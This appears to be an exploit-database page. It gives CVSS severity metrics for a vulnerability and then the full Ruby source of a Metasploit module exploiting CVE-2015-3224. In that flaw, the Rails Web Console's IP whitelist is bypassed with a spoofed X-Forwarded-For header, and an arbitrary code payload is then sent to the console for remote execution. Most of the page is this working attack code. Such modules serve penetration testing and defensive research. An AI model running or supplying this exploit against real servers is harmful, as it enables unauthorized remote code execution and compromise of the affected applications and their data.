The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Ruby on Rails 4.0.x / 4.1.x / 4.2.x Whitelist Bypass Code Execution##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Ruby on Rails Web Console (v2) Whitelist Bypass Code Execution',
'Description' => %q{
This module exploits an IP whitelist bypass vulnerability in the developer
web console included with Ruby on Rails 4.0.x and 4.1.x. This module will also
achieve code execution on Rails 4.2.x if the attack is launched from a
whitelisted IP range.
},
'Author' => [
'joernchen <joernchen[at]phenoelit.de>', # Discovery & disclosure
'Ben Murphy <[email protected]>', # Discovery & disclosure
'hdm' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2015-3224' ],
[ 'URL', 'http://openwall.com/lists/oss-security/2015/06/16/18' ],
[ 'URL', 'https://groups.google.com/forum/message/raw?msg=rubyonrails-security/lzmz9_ijUFw/HBMPi4zp5NAJ' ],
[ 'URL', 'https://hackerone.com/reports/44513' ]
],
'Platform' => 'ruby',
'Arch' => ARCH_RUBY,
'Privileged' => false,
'Targets' => [ ['Automatic', {} ] ],
'DefaultOptions' => { 'PrependFork' => true },
'DisclosureDate' => 'Jun 16 2015',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(3000),
OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', '/missing404' ])
], self.class)
end
#
# Identify the web console path and session ID, then inject code with it
#
def exploit
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'headers' => {
'X-Forwarded-For' => '0000::1'
}
}, 25)
unless res
print_error("Error: No response requesting #{datastore['TARGETURI']}")
return
end
web_console_path = nil
# Support vulnerable Web Console versions
if res.body.to_s =~ /data-remote-path='([^']+)'/
web_console_path = "/" + $1
end
# Support newer Web Console versions
if web_console_path.nil? && res.body.to_s =~ /data-mount-point='([^']+)'/
web_console_mount = $1
unless res.body.to_s =~ /data-session-id='([^']+)'/
print_error("Error: No session id found requesting #{datastore['TARGETURI']}")
return
end
web_console_path = normalize_uri(web_console_mount, 'repl_sessions', $1)
end
unless web_console_path
if res.body.to_s.index('Application Trace') && res.body.to_s.index('Toggle session dump')
print_error('Error: The web console is patched, disabled, or you are not in the whitelisted scope')
else
print_error("Error: No web console path found when requesting #{datastore['TARGETURI']}")
end
return
end
print_status("Sending payload to #{web_console_path}")
res = send_request_cgi({
'uri' => web_console_path,
'method' => 'PUT',
'headers' => {
'X-Forwarded-For' => '0000::1',
'Accept' => 'application/vnd.web-console.v2',
'X-Requested-With' => 'XMLHttpRequest'
},
'vars_post' => {
'input' => payload.encoded
}
}, 25)
end
end
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